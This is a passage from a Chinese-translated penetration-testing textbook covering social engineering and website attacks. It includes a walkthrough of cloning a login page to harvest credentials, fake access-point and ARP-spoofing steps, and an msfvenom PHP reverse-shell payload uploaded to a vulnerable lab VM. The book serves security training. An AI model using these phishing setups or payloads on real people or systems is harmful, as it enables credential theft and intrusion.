  • 基于计算机的社会工程: 这种社会工程是使用计算机等数字技术执行的。

  • 基于移动设备的社会工程: 在基于移动设备的社会工程中,攻击者使用移动应用程序对受害者进行攻击。

  • 基于电话的社会工程: 这种技术涉及对受害者进行语音呼叫,冒充受害者可能信任的人。

  • 通过社交媒体进行社会工程: 这涉及使用社交媒体平台欺骗人们提供敏感信息。

让我们更详细地看看每个工程过程。

基于人的社会工程

在基于人的社会工程中,攻击者假装成有权威的人。攻击者有时会冒充合法的最终用户,提供虚假身份并要求机密信息。此外,攻击者可以假装是组织中的重要用户,如董事或高级工作人员,并要求更改受害者用户帐户的密码。通常,伪装成技术支持的简单形式通常会让用户迅速信任你。想象一下,当你假装是 IT 技术人员并要求用户提供其用户帐户详细信息时,给员工打电话。通常,最终用户并不总是意识到网络安全中的基于人的威胁,并会迅速信任假装是技术支持的人。

在接下来的章节中,我们将深入探讨各种类型的基于人的社会工程技术,包括以下内容:

  • 窃听

  • 窥视

  • 垃圾箱潜水

让我们从窃听开始。

窃听

窃听涉及在未经授权的情况下听取人们之间的对话和阅读他们的消息。这种攻击形式包括拦截用户之间的任何传输,如音频、视频或甚至书面通信。

接下来,我们将讨论窥视的概念。

窥视

我们中的许多人都有窥视的罪过。你有没有曾经走过一位同事身边,当时他们正在网站上输入数据或执行任务,希望你能看到他们在做什么?

窥视是在某人使用计算机时从其肩膀上窥视。这种技术用于收集诸如 PIN 码、用户 ID 和密码等敏感信息。此外,窥视可以使用数字相机等设备从较远的距离进行。

在下一节中,我们将介绍垃圾箱潜水。

垃圾箱潜水

垃圾箱潜水是一种基于人的社会工程形式,攻击者通过查看他人的垃圾,寻找敏感/机密数据。不安全地处理机密物品,如公司文件、过期信用卡、水电费账单和财务记录等,被认为对攻击者有价值。

接下来,我们将介绍基于计算机的社会工程攻击。

基于计算机的社会工程

我们大多数人过去都遇到过某种形式的基于计算机的社会工程。在基于计算机的社会工程中,攻击者使用计算设备来帮助他们欺骗受害者透露敏感/机密信息。

在这个类别中有两种主要的攻击形式:

  • 网络钓鱼

  • 鱼叉式网络钓鱼

以下是一些其他形式的基于计算机的社会工程:

  • 弹出窗口要求用户提供信息

  • 垃圾邮件

  • 连锁信件

  • 恶作剧信件

在本章中,我们只会讨论网络钓鱼和鱼叉式网络钓鱼;但是,你可以在空闲时间研究其他内容。

让我们从网络钓鱼开始。

网络钓鱼

攻击者通常发送一封包含虚假信息的非法电子邮件,同时掩盖成来自可信任人或来源的合法电子邮件。这种技术用于欺骗用户提供个人信息或其他敏感细节。

想象一下收到一封电子邮件:发件人的名字是你银行的名字,邮件正文中有指示让你点击提供的链接来重置你的网上银行凭证。电子邮件通常以富文本格式呈现给我们,这提供了非常清晰和易于阅读的文本。这种格式隐藏了实际消息的 HTML 代码,并显示纯文本。因此,攻击者可以轻易地掩盖 URL,将用户发送到恶意网站。钓鱼邮件的收件人可能无法识别误导或篡改的细节并点击链接。

接下来,我们将讨论矛头钓鱼。

矛头钓鱼

在常规的钓鱼攻击中,攻击者向互联网上的随机电子邮件地址发送数百封通用电子邮件。而在矛头钓鱼中,攻击者向公司内特定群体发送精心制作的消息。与普通的钓鱼攻击相比,矛头钓鱼攻击的响应率更高。

在接下来的部分,我们将介绍基于移动设备的社会工程攻击。

基于移动设备的社会工程

基于移动设备的社会工程可能包括为智能手机和平板电脑创建一个恶意应用程序,该应用程序具有非常吸引人的功能,将诱使用户下载并安装该应用程序到他们的设备上。为了掩盖恶意应用程序的真实性质,攻击者使用与官方应用商店上流行应用程序名称相似的名称。一旦恶意应用程序安装到受害者的设备上,该应用程序可以检索并将受害者的用户凭据发送给攻击者。

另一种基于移动设备的社会工程攻击被称为smishing。这种类型的攻击涉及攻击者向随机人发送非法短信,其中包含一个恶意 URL,要求潜在受害者通过提供敏感信息来回应。

攻击者有时会向随机人发送短信,声称自己是他们银行的代表。消息中包含一个看起来非常类似于合法银行官方域名的 URL。一个毫无戒心的人可能会点击导致他们进入一个虚假登录门户的恶意链接,该门户将捕获受害者的用户名和密码,甚至在受害者的移动设备上下载恶意负载。

在接下来的部分,我们将介绍通过社交网络进行社会工程。

通过社交网络进行社会工程

攻击者通常试图创建一个虚假档案并与人们建立沟通。他们假装成别人,同时试图诱使受害者透露有关自己的敏感细节。此外,还有许多情况下,一个人的帐户被攻击者使用,攻击者使用被攻击帐户与受害者的朋友/联系人列表中的人进行沟通。

攻击通常使用受损的社交网络用户帐户来创建一个非常庞大的朋友/联系人网络,以收集信息和敏感细节。

以下是一些用来诱使目标组织员工的方法:

  • 创建一个虚假用户组

  • 使用虚假身份,使用目标组织员工的姓名

  • 让用户加入一个假用户组,然后要求他们提供凭据,如出生日期和配偶姓名

诸如 Facebook 和 LinkedIn 之类的社交网络网站是许多人可以访问的大型信息库。用户始终要注意他们所透露的信息,因为存在信息被利用的风险。通过使用在社交网络网站上找到的信息,如组织员工发布的帖子,攻击者可以对目标组织进行有针对性的社会工程攻击。

在下一节中,我们将介绍基于电话的社会工程攻击。

基于电话的社会工程学(vishing)

Vishing是用来描述通过电话进行的社会工程攻击的术语。有许多案例表明,人们接到攻击者的电话,声称他们来自有线电视公司或当地银行,并要求受害者透露敏感信息,如出生日期、驾驶执照号码、银行详细信息,甚至用户帐户凭据。

通常,攻击者在假扮来自合法或授权组织的人时致电目标,要求提供敏感细节。如果第一次尝试不奏效,攻击者可能会再次致电,假扮更重要的人物或技术支持代理,试图诱骗用户提供敏感信息。

此外,当攻击者在 vishing 攻击期间提供虚假身份时,他们通常会提供一个他们所打电话的合法组织的参考,以建立与潜在受害者的信任。当目标不受攻击时,有时会使用威胁,比如“如果您无法向我们提供您的用户名和密码,您的帐户将被禁用”。目标有时会相信并提供所请求的信息。

完成了本节,您现在了解了各种类型社会工程攻击的特征。在下一节中,我们将介绍防范社会工程攻击的基本知识。

防范社会工程

以下是一些可以用来防御常见社会工程攻击的一般策略:

  • 保护您的周界安全

  • 保护帮助台和一般员工

  • 检测钓鱼邮件

  • 额外的对策

在接下来的几节中,我们将更详细地讨论这些话题。

保护您的周界安全

攻击者使用冒充和尾随(跟随他人进入安全区域)等方法进入组织的围墙。为了防止此类攻击,组织应为所有员工实施 ID 徽章,基于令牌或生物识别系统进行身份验证,并持续对员工和保安进行安全意识培训。

保护帮助台和一般员工

攻击者实施窃听、肩窥和冒充来获取组织帮助台和一般员工的敏感信息。有时,攻击可能会很微妙和有说服力;其他时候,它们可能会有点威胁和侵略性,以对员工施加压力,希望他们透露机密信息。为了保护员工免受此类攻击,组织应确保经常对员工进行培训,提高对这些危险的认识,并让他们知道永远不要透露任何敏感信息。

额外的对策

以下是可以减少组织受社会工程攻击威胁的额外措施:

  • 实施密码策略,确保用户定期更改他们的密码,同时避免重复使用以前的密码。这将确保如果员工的密码通过社会工程攻击泄露,密码在攻击者手中可能会被密码策略废弃。

  • 确保保安人员在围墙内护送所有客人和访客。

  • 实施适当的物理安全访问控制系统。这包括监控摄像头、门锁、适当的围栏、生物识别安全措施等,以防止未经授权的人员进入受限区域。

  • 实施信息分类。信息分类只允许具有所需安全许可的人员查看某些数据并访问某些系统。

  • 对新员工进行背景调查,并实施适当的终止流程。

  • 从知名供应商实施端点安全保护。端点保护可用于监视和防止针对员工计算机和笔记本电脑的网络攻击,如社交工程攻击、钓鱼邮件和恶意下载。

  • 尽可能实施双因素身份验证。

在接下来的部分,我们将学习如何检测钓鱼邮件。

检测钓鱼邮件

电子邮件提供商始终在实施新措施以打击垃圾邮件和防止钓鱼邮件进入用户的邮箱。然而,有时一些钓鱼邮件会进入您的邮箱。以下是一些识别钓鱼诈骗的方法:

  • 如果电子邮件来自银行、组织,甚至是社交网络网站,并带有通用的问候消息。

  • 钓鱼邮件可能包含恶意附件。

  • 钓鱼邮件有时会包含语法错误和拼写错误。

  • 发件人的电子邮件地址看起来不合法。

  • 它包含指向伪造网站或恶意域的链接。

以下是我几年前收到的一封电子邮件。发件人的姓名和电子邮件是合法的,因为那是我认识的人。然而,这条消息似乎与我之前收到的所有其他电子邮件都不同:

最后一行包含一个超链接,上面写着点击这里查看。不了解互联网安全的人可能会点击该链接,然后被引导到一个恶意网站,并下载并执行一个有效负载,导致计算机受到威胁。

让我们更仔细地查看电子邮件的来源细节:

消息的来源向我们展示了消息的所有 HTML 代码。仔细观察,我们会发现攻击者使用较短的 URL 创建了一个超链接,以掩盖真实的 URL。

在本节中,我们讨论了如何识别钓鱼邮件以及攻击者在钓鱼时如何使用 URL 混淆来防止目标看到真实的网址。在下一节中,我们将介绍 doxing 的基本知识。

社交工程侦察(doxing)

Doxing 是指攻击者使用在线和公开可用的资源,如搜索引擎和社交网络网站,收集有关特定人或组织的私人详细信息。然后,攻击者可以利用这些信息对目标进行攻击。

在 doxing 攻击期间,攻击者可以通过搜索目标发布的信息来收集有关某人的个人信息。通常,在社交网络网站上,人们会发布大量关于自己、家人和工作的个人信息。当被问及是否担心有人窃取他们的信息时,最常见的回答是“我没有什么可隐藏的”或“我发布照片或评论不会有任何损失”。

许多人没有意识到,恶意人士可以截取他们的帖子的截图,然后对其进行篡改以进行恶意用途。

在接下来的部分,我们将学习如何规划社交工程攻击。

为每种类型的社交工程攻击制定计划。

社会工程攻击的主要目标是要么从受害者那里获取机密信息,要么操纵他们执行某种行动,以帮助他们破坏目标系统或组织。然而,要开始任何类型的攻击,必须进行大量的研究,以了解目标的运作方式;攻击者需要找到答案来回答以下问题:

  • 目标组织是否外包他们的 IT 服务?

  • 目标是否有帮助台?

除了进行这项研究外,在进行社会工程时,你必须能够迅速制定策略,并读懂受害者对你的反应。

作为社会工程师,发展以下技能很重要:

  • 在对话中保持创造性

  • 具有良好的沟通技巧,无论是面对面还是通过电话

  • 良好的人际交往能力

  • 具有健谈和友好的性格

这些技能将帮助你成为一个“人际交往能手”,也就是说,一个友好并与他人交往的人。这种特点是有益的,因为它将帮助你更好地在实时交流中评估受害者的情绪和反应,无论是在电话通话中还是在面对面的对话中。这是一种心理技能,它使你能够读懂某人并操纵他们的行为,让他们以某种方式做出反应或透露机密信息。

接下来,我们将演示如何使用各种社会工程工具。

社会工程工具

在这一部分,我们将介绍用于进行社会工程攻击的一些工具。

  • 社会工程工具包(SET)

  • Ghost Phisher

让我们更详细地看看这两者。

社会工程工具包

SET 是一个设计用于执行各种类型的社会工程攻击的开源框架,并具有创建自定义攻击功能。让我们使用 SET 创建一个假的 Facebook 页面来捕获用户凭据。

要开始,在 Kali Linux 上,点击应用程序|社会工程工具|社会工程工具包:

  1. 当 SET 打开时,你将看到一些选项。选择选项1来访问 SET 中的社会工程攻击:

  1. 现在将提供不同类型的攻击列表。由于我们试图欺骗用户提供他们的登录凭据,选择 2)网站攻击向量:

  1. 由于我们的主要重点是捕获用户凭据,选择 3)凭证收割者攻击方法:

  1. SET 提供了预安装的社交网络站点模板,并允许你创建一个网站的克隆。在这个练习中,选择 2)网站克隆器:

当一个网站被克隆时,SET 会向用户名和密码字段注入特殊代码,这使得它能够实时捕获和显示任何登录尝试。

  1. 向攻击者机器提供 IP 地址。如果你在公共网络上,设置一个公共 IP 地址。记住,这个地址将被给予受害者。接下来,指定要被 SET 克隆的网站 URL:

  1. 一旦克隆过程成功完成,使用攻击者的 IP 地址创建一个 URL,并将其发送给你的受害者。URL 应该采用以下格式:10.10.10.16/。你可以使用其他技术来掩盖实际的 IP 地址,并使其看起来合法:

一旦受害者输入了他们的用户凭据,SET 将在 SET 界面上填充用户名和密码,如前面的截图所示。

在下一节中,我们将演示如何使用 Ghost Phisher。

Ghost Phisher

另一个令人惊奇的社会工程工具是Ghost Phisher。它通过其图形用户界面GUI)提供了许多易于使用的实用程序,可以非常快速地创建社会工程攻击。

要开始使用 Ghost Phisher,请按照以下步骤操作:

  1. 在 Kali Linux 上,单击应用程序 | 社会工程工具 | Ghost Phisher

  2. 一旦工具打开,您将看到主选项卡的选项,即虚假接入点

一旦您的无线网络适配器连接到 Kali Linux 机器上,转到菜单中的无线接口,并根据您的喜好自定义虚假接入点设置。

Ghost Phisher 允许您创建假 DNS 服务器和假 HTTP 服务器。

  1. 要创建一个虚假的 DHCP 服务器,只需选择虚假 DHCP 服务器选项卡,并添加必要的信息,如下面的屏幕截图所示:

  1. 会话劫持选项卡允许您执行中间人攻击并捕获实时会话:

在启动 Ghost Phisher 的会话劫持攻击之前,请确保设置网络的默认网关。

  1. 与 arpspoof 类似,有一个内置的 ARP 欺骗工具,可以快速启用中间人攻击:

Ghost Phisher 通过简单易用的界面为渗透测试人员提供了许多功能;甚至还有一个名为Harvested Credentials的额外选项卡,显示了在发动的任何攻击中捕获的所有用户名和密码。

总结

在本章中,我们讨论了各种形式的社会工程技术和保护个人和组织免受这些攻击的方法。我们看了一下钓鱼邮件的识别特征,以及 Kali Linux 预装的一些社会工程工具。现在您已经完成了这一章,您将能够描述各种形式的社会工程攻击,实施对策以减少成为此类攻击受害者的风险,并执行基于计算机的攻击,通过模仿社交网络网站来捕获受害者的用户凭据。

我希望这一章对你的学习和职业发展有所帮助。

在第十四章中,执行网站渗透测试,您将了解网站应用程序渗透测试的基础知识。

问题

以下是基于本章内容的一些问题:

  1. 当未经授权的人在两方之间的对话中监听时,这被称为什么?

  2. 用户收到了一封看起来来自他们当地银行的电子邮件。打开邮件后,用户发现一个 URL,上面写着他们应该点击链接重置密码。这是什么类型的攻击?

  3. 用户收到了一条短信,上面有一个 URL,据说来自一个合法的银行。当用户点击链接时,会出现一个网站,要求用户登录。当用户使用他们的凭据登录时,他们被重定向到他们官方银行的网站。这是什么类型的攻击?

  4. Kali Linux 中有哪些社会工程学工具?

进一步阅读

第十四章:执行网站渗透测试

这一章使我们远离我们习惯于利用的常规网络设备,而是专注于检查 Web 应用程序和服务器中的漏洞。

作为渗透测试人员是一份相当酷的工作,因为你被付钱来侵入或攻破别人的网络和系统,但是合法的。

作为渗透测试人员还意味着开发和扩展你的技能范围到各种领域;总会有情况需要你对客户的 Web 服务器进行漏洞评估或渗透测试。本章将首先教你如何发现目标网站上正在使用的基础技术,以及如何发现同一服务器上托管的其他网站。此外,你还将学习如何在目标 Web 服务器上执行多个利用,包括上传和执行恶意文件以及利用本地文件包含LFI)对一个有漏洞的服务器进行利用。

在本章中,我们将涵盖以下主题:

  • 信息收集

  • 密码学

  • 文件上传和文件包含漏洞

  • 利用文件上传漏洞

  • 利用代码执行漏洞

  • 利用 LFI 漏洞

  • 防止漏洞

让我们开始吧!

技术要求

本章的技术要求如下:

信息收集

在本书的早期部分,特别是第五章中的被动信息收集和第六章中的主动信息收集,我们讨论了对目标进行广泛侦察的重要性,无论是单个系统、网络,甚至是网站。每次渗透测试都有一套指南和阶段。正如你可能记得的那样,渗透测试的阶段包括:

  1. 侦察(信息收集)

  2. 扫描(和枚举)

  3. 利用(获取访问权限)

  4. 保持访问

  5. 覆盖踪迹

尽可能收集有关目标的信息有助于我们确定目标是否存在安全漏洞以及是否可能利用它们。在接下来的部分中,我们将首先学习如何发现网站上正在使用的技术。

发现网站上正在使用的技术

在网站渗透测试的信息收集阶段,确定实际网页服务器上运行的基础技术是很重要的。Netcraft (www.netcraft.com)是一个互联网安全和数据挖掘网站,可以帮助我们发现任何给定网站上的网页技术。

要开始使用Netcraft,请按照以下步骤进行:

  1. 前往toolbar.netcraft.com/site_report

  2. 在网站上,输入查找字段中的网站 URL。

以下是为www.google.com网站检索到的结果:

Netcraft 能够提供有关目标网站的许多详细信息,包括以下内容:

    • 域名
  • 公共 IP 地址

  • 域名注册商

  • 组织

  • Netblock 所有者

  • 域名服务器

  • DNS 管理员联系

  • Web 服务器类型

  • Web 服务器操作系统

已经获取了 Web 服务器操作系统和正在运行的应用程序,现在可以将范围缩小到搜索适合目标的漏洞和利用。

  1. 此外,您可以使用Netcat实用程序执行横幅抓取。此技术用于检索目标设备上正在运行的守护程序或应用程序的服务版本。使用以下命令,我们可以在端口80上在我们的机器(Kali Linux)和目标 Web 服务器之间建立连接:
nc www.google.com 80
  1. 接下来,是时候检索 Web 服务器横幅了。执行以下命令:
GET / HTTP/1.1
  1. 按两次Enter,Web 服务器横幅将显示在顶部。以下是显示www.google.com地址的服务器横幅的片段,以及其 Web 服务器类型:

请记住,使用 Netcat 实用程序将在攻击者机器(Kali Linux)和目标之间建立会话。如果目标是隐蔽的(不可检测),则不建议使用此方法,除非您正在欺骗您的 IP 地址和 MAC 地址。

可以选择使用Telnet执行此技术。只需用telnet替换nc,您应该在终端窗口上获得相同的结果。

在接下来的部分,我们将深入探讨托管在同一 Web 服务器上的网站的发现。

发现托管在同一服务器上的网站

多年来,组织已经摆脱了在自己的本地服务器上托管公司网站的做法,转而使用在线的基于云的解决方案。在电子商务行业有许多网站托管公司提供网站托管等解决方案。

托管提供商通常不会为客户提供专用服务器来托管他们的网站;相反,他们会提供共享空间。换句话说,托管您网站的服务器也会托管其他人的网站。这对服务提供商和客户都是有利的。客户支付较少的费用,因为他们只是与其他人共享服务器上的资源,服务器提供商不需要为每个用户启动专用服务器,这将导致更少的功耗和数据中心中的物理存储空间。

由于服务提供商使用这种为客户提供共享空间的业务和 IT 方法,安全性是一个问题。这就像在学校实验室使用计算机一样;每个人都有自己的用户帐户,但仍在共享一个系统。如果一个用户决定在计算机上执行恶意操作,他们可能能够从其他用户的帐户/配置文件中检索敏感数据。

在第五章,被动信息收集中,引入了Maltego,以便我们可以对目标网站执行被动信息收集。在本节中,我们将再次使用 Maltego 来帮助我们发现托管在同一服务器上的网站。

在继续之前,请确保您熟悉使用Maltego执行各种信息收集任务。如果您在记住如何使用 Maltego 中的基本工具方面有困难,请花几分钟时间查看第五章,被动信息收集

观察以下步骤以发现同一服务器上的网站:

  1. 在 Maltego 上添加一个域。在这个练习中,我使用免费的网络托管提供商创建了一个新的域。您可以做同样的事情,或者如果您已经拥有一个现有的域名,也可以使用您现有的域名。

在未经他们的知识和同意的情况下,您不应该使用其他人的域。在这个练习中,我只创建并拥有目标域。

  1. 右键单击域实体,选择所有变换|到 DNS 名称-NS(名称服务器),如下面的屏幕截图所示:

Maltego 将花费几秒钟来检索目标域名的名称服务器:

我的自定义域的托管提供商正在使用两个名称服务器。

  1. 一旦获取了域名服务器,就该检查是否有其他网站托管在同一台服务器上。右键单击一个域名服务器,然后选择所有转换 | 到域(共享此 NS),如下面的屏幕截图所示:

这个过程通常需要一两分钟才能完成。完成后,Maltego 将为您提供结果。如您在下面的片段中所见,有多个网站托管在与我的域相同的服务器上:

这种技术在对目标组织的 Web 服务器进行概要分析时非常有用。有时,您可能会遇到一个组织将他们的网站和其他内部网站托管在网络的 DMZ 部分的同一台服务器上。始终尝试执行枚举技术以提取 Web 服务器上的任何站点。有时,组织将其内部网站托管在与其公共网站相同的 Web 服务器上。访问隐藏站点可以提供有益的信息。

免责声明:为了保护机密性,与网站相关的信息已经模糊处理,因为它属于其他方。

在下一节中,我们将学习如何在网站上发现敏感文件的方法。

发现敏感文件

为了继续我们的网站渗透测试中的信息收集阶段,我们将尝试发现目标网站上的任何敏感文件和目录。为了执行这项任务,我们将使用 DirBuster。DirBuster 是一个用于暴力破解 Web 应用程序的工具,旨在揭示目标 Web 服务器上的任何敏感目录和文件。

在这个练习中,我们将使用 OWASP Broken Web Applications(BWA)项目虚拟机作为目标,使用我们的 Kali Linux 机器作为攻击者。

要在 Web 服务器上发现敏感文件,请按照以下步骤操作:

  1. 通过导航到应用程序 | 03 - Web 应用程序分析 | Web 爬虫和目录暴力破解 | DirBuster 打开 DirBuster。

  2. 当 DirBuster 打开时,在目标 URL 字段中输入 OWASP BWA 虚拟机的 IP 地址。URL 应该是http://192.168.56.101:80/的格式。

  3. 您还可以选择增加线程的数量。增加线程的数量将为应用程序应用更多的计算能力,因此会加快进程速度。

  4. 单击“浏览”以添加 DirBuster 将用于在目标网站上索引和搜索的单词列表。如果单击“列表信息”,将会出现一个新窗口,提供一个推荐的单词列表。

  5. 取消选中“递归”旁边的框。

  6. 点击“开始”开始这个过程。

以下屏幕截图显示了此任务所使用的选项:

此外,您还可以使用来自其他位置的单词列表,例如 SecLists。

文件扩展名选项可以自定义,并且是查找具有.bak.cfg等文件的隐藏目录的好方法。

在 DirBuster 执行暴力攻击时,结果窗口将出现。要查看所有当前目录和文件,请单击结果 - 列表视图选项卡,如下面的屏幕截图所示:

HTTP 200 状态代码表示操作成功。换句话说,攻击者机器已成功能够与目标网站/服务器上的特定目录进行通信。

此外,还可以使用 Burp Suite 和 OWASP ZAP 等其他工具来发现目标 Web 服务器和网站上的隐藏目录和敏感文件。

如前面的片段所示,使用 DirBuster 找到了目录列表。浏览每个目录,因为它们可能包含有关目标的敏感文件和信息。

在下一节中,我们将看一下robots.txt文件的重要性。

robots.txt

robots.txt文件包含来自 Web 服务器的目录和文件列表。robots.txt文件中的条目由网站所有者或 Web 管理员创建,并用于隐藏 Web 爬虫的目录位置。换句话说,它通知搜索引擎的爬虫不要索引网站的某个目录。

渗透测试人员在域名末尾添加robots.txt扩展名,以访问和查看其内容。以下是知名组织的robots.txt文件的条目:

如您所见,有多个目录。通过简单地将每个目录与域名结合,您将能够访问目标网站上的隐藏区域。让我们使用/administrator/目录:

我们现在可以访问站点控制面板的登录页面。使用其他目录可能会提供其他有益的信息。

在下一部分,我们将深入分析目标服务器上发现的文件。

分析发现的文件

隐藏目录通常包含具有重要信息的敏感文件。

观察以下步骤,开始分析发现的文件:

  1. 在 DirBuster 结果窗口中,单击“结果-树视图”选项卡。这将为您提供一个树形结构,允许您展开每个文件夹:

通过展开cgi-bin文件夹,我们可以看到两个文件,如前面的截图所示。使用 Web 浏览器,我们可以添加目录扩展名和服务器的 IP 地址,以创建 URL。

  1. 输入http://192.168.56.101/cgi-bin/地址,网页浏览器显示了文件、最后修改日期、文件大小和描述:

  1. 此外,我们可以使用dirb来检查目标 Web 服务器上的文件和目录。如果我们使用以下语法,dirb允许我们执行快速扫描:
dirb http://192.168.56.101
  1. 作为命令的一部分,您可以选择使用自定义字典:
dirb http://192.168.56.101 <wordlist>

以下截图是 DirBuster 执行的快速扫描。如果您仔细观察,您会注意到 DirBuster 能够发现隐藏的目录和文件,以及它们的大小:

执行这样的任务可能会耗费一些时间,可能需要几分钟,甚至几个小时才能完成。

在接下来的部分,我们将深入学习密码学知识。

密码学

密码学是一种保护系统上的数据免受未经授权的人员访问的技术。这种技术涉及将消息通过加密密码(算法),并提供一个称为密文的输出(加密消息):

密码学有以下目标:

  • 机密性

  • 完整性

  • 认证

  • 不可否认性

然而,Web 应用程序可以在其应用程序中使用设计不良的加密代码,以保护最终用户浏览器和 Web 应用程序之间以及 Web 应用程序和数据库服务器之间传输的数据。

这样的安全漏洞可能导致攻击者窃取和/或修改 Web 或数据库服务器上的敏感数据。

接下来,我们将学习有关各种 Web 漏洞以及如何在目标 Web 服务器上利用文件上传和文件包含漏洞。

文件上传和文件包含漏洞

在本节中,我们将讨论各种安全漏洞,允许攻击者在 Web 服务器上执行文件上传、代码执行和文件包含攻击。

在接下来的部分,我们将介绍以下主题的基础知识:

  • 跨站脚本XSS

  • 跨站请求伪造CSRF

  • 结构化查询语言注入SQLi

  • 不安全的反序列化

  • 常见的配置错误

  • 易受攻击的组件

  • 不安全的直接对象引用

让我们开始吧!

XSS

XSS 攻击是通过利用动态创建的网页中的漏洞来进行的。这允许攻击者将客户端脚本注入到其他用户正在查看的网页中。当一个毫无戒心的用户访问包含 XSS 的网页时,用户的浏览器将在受害者不知情的情况下开始在后台执行恶意脚本:

XSS 攻击通常专注于将用户重定向到恶意 URL,数据窃取,操纵,显示隐藏的 IFRAMES,并在受害者的 Web 浏览器上显示弹出窗口。

恶意脚本包括 ActiveX、VBScript、JavaScript 或 Flash。

XSS 攻击有两种类型:

  • 存储型 XSS

  • 反射型 XSS

在接下来的部分,我们将详细讨论这两种攻击。

存储型 XSS

存储型 XSS 在网页上是持久的。攻击者将恶意代码注入到服务器上的 Web 应用程序中。代码/脚本被永久存储在页面上。当潜在受害者访问受损的网页时,受害者的浏览器将解析所有的 Web 代码。然而,在后台,恶意脚本正在受害者的 Web 浏览器上执行。这使得攻击者能够检索存储在受害者的 Web 浏览器上的任何密码、cookie 信息和其他敏感信息。

反射型 XSS

反射型 XSS 是一种非持久攻击。在这种形式的 XSS 中,攻击者通常向潜在受害者发送一个恶意链接。如果受害者点击恶意链接,它将在受害者的计算机上打开默认的 Web 浏览器(反射)。Web 浏览器将自动加载包含恶意脚本的网页,恶意脚本将自动执行,捕获密码,cookie 信息和其他敏感信息。

接下来,我们将深入探讨 CSRF。

CSRF

CSRF 攻击与 XSS 攻击有些相似。让我们用类比来简化对 CSRF 攻击的解释。想象一下,用户 Bob 打开他的 Web 浏览器并登录到他的银行客户门户,以在他的账户上进行一些在线交易。Bob 已经在他的银行的 Web 门户上使用了他的用户凭据;Web 应用程序/服务器验证用户是 Bob,并自动信任他的计算机作为与 Web 服务器通信的设备。

然而,Bob 还在同一个浏览器中打开一个新标签页访问另一个网站,同时保持与银行的 Web 门户(受信任的站点)的活动会话。Bob 并不怀疑他访问的新网站包含恶意代码,然后在 Bob 的计算机上后台执行:

然后,恶意代码将从 Bob 的计算机向受信任的站点注入 HTTP 请求。通过这种方式,攻击者能够捕获 Bob 的用户凭据和会话信息。此外,恶意链接还可以导致 Bob 的计算机在受信任的站点上执行恶意操作。

在下一节中,我们将详细介绍SQL 注入(SQLi)攻击的基本知识。

SQLi

SQLi 允许攻击者将一系列恶意的 SQL 代码/查询直接插入到后端数据库服务器中。这使得攻击者能够操纵记录,如添加、删除、修改和检索数据库中的条目:

攻击者可以利用 Web 应用程序的漏洞来绕过安全控制和措施,以进入数据库服务器/应用程序。SQLi 攻击是通过 Web 浏览器的地址栏或网站的登录门户注入的。

接下来,我们将讨论不安全的反序列化。

不安全的反序列化

序列化是将对象转换为较小字节大小的过程,以便传输或存储对象在文件、数据库甚至内存中。这个过程允许对象保持其状态,以便在需要时进行组装/重建。然而,序列化的反义词称为反序列化。这是将数据流(字节)重新创建为其原始形式的过程。

不安全的反序列化发生在不受信任的数据被用来滥用应用程序逻辑、创建拒绝服务攻击或在网页应用程序/服务器上执行恶意代码的情况下。在不安全的反序列化攻击中,攻击者可以在目标网页服务器上执行远程代码。

有关不安全的反序列化的更多信息可以在 OWASP 网站上找到,网址为www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization

大多数情况下,系统管理员和 IT 专业人员直到网络攻击来临时才会认真对待这些漏洞。作为渗透测试人员,我们的工作是高效地发现目标组织中所有现有和隐藏的安全漏洞,并通知公司以帮助保护他们的资产。

在接下来的部分,我们将概述一些网页服务器上常见的配置错误。

常见的配置错误

网页服务器上的配置错误可能会导致漏洞,允许攻击者未经授权访问默认用户帐户、访问隐藏页面和目录、对任何未修补的缺陷进行利用,以及在服务器上对不安全目录和文件执行读/写操作。

安全配置错误不仅限于网页应用程序的任何级别,还可能影响网页服务器和应用程序的任何级别,如操作系统(Windows 或 Linux)、网页服务器平台(Apache、IIS 和 Nginx)、框架(Django、Angular、Drupal 等)甚至托管在服务器上的自定义代码。

在接下来的部分,我们将讨论在网页服务器和平台上发现的各种易受攻击的组件。

易受攻击的组件

以下是网页应用程序中一些常见的易受攻击的组件:

  • Adobe Flash Player:Adobe Flash Player 通常用作网页浏览器中的多媒体播放器。它支持在线视频、音频和游戏等应用内容。然而,多年来,已经发现并记录了许多安全漏洞,用户已经开始放弃在其网页浏览器上使用这个组件。最近的一个漏洞是CVE-2018-15982,它允许成功利用导致目标系统上的任意代码执行。

  • JBoss 应用服务器:JBoss 应用服务器是一个 Java 网页容器,既是开源的,也能够跨平台操作。在撰写本书时,发现了一个严重漏洞,使攻击者能够在 JBoss 应用服务器上远程执行恶意代码,从而完全控制目标。

该漏洞影响了所有 JBoss 应用服务器版本 4.0 及之前的版本。

  • Adobe ColdFusion:Adobe ColdFusion 是一个商业网页应用开发平台。其设计旨在允许开发人员轻松地将 HTML 页面连接到数据库。然而,在 2018 年,发现了一个关键漏洞,允许攻击者在没有任何限制的情况下将数据上传到受损系统,进而允许攻击者使用 Web shell 控制服务器。这个漏洞被记录为CVE-2018-15961

请注意,这些只是网页服务器上可以找到的许多易受攻击的组件之一。随着时间的推移,安全研究人员将继续发现和记录新的漏洞。

在接下来的部分,我们将简要讨论不安全的直接对象引用IDOR)。

IDOR

根据 OWASP(www.owasp.org)的说法,IDOR 发生在基于用户提供的输入提供对对象的访问权限时。如果发现 Web 应用程序存在漏洞,攻击者可以尝试绕过授权并访问受损系统上的资源。

接下来,我们将演示如何利用目标机器上的文件上传漏洞。

利用文件上传漏洞

在这个练习中,我们将使用我们的 OWASP BWA 虚拟机来演示文件上传漏洞。让我们开始吧:

  1. 首先,在 Kali Linux(攻击者)机器上使用msfvenom创建有效载荷,稍后将上传到目标服务器。使用以下语法,创建一个基于 PHP 的有效载荷以建立反向连接:
msfvenom -p php/meterpreter/reverse_tcp lhost=<IP address of Kali Linux> lport=4444 -f raw
  1. 复制突出显示的代码,打开文本编辑器,并将文件保存为img.php

  1. 在 Kali Linux 中的 Web 浏览器中,输入 OWASP BWA 的 IP 地址并点击Enter

  2. 在主页上,单击Damn Vulnerable Web Application

  1. DVWA 登录门户将出现。使用admin/admin作为用户名/密码登录:

  1. 登录后,您将在左侧看到一个菜单。单击上传以查看漏洞:文件上传页面:

  1. 单击浏览...,选择img.php文件,然后单击页面上的上传。

  2. 一旦文件被上传,您将收到一条消息,显示文件在服务器上的存储目录:

  1. 复制文件位置,即hackable/uploads/img.php,并将其粘贴到 URL 中以执行有效载荷(img.php)。以下是预期的 URL:
192.168.56.101/DVWA/ hackable/uploads/img.php

Enter执行有效载荷。

  1. 在 Kali Linux 上,使用以下命令加载 Metasploit:
service postgresql start msfconsole
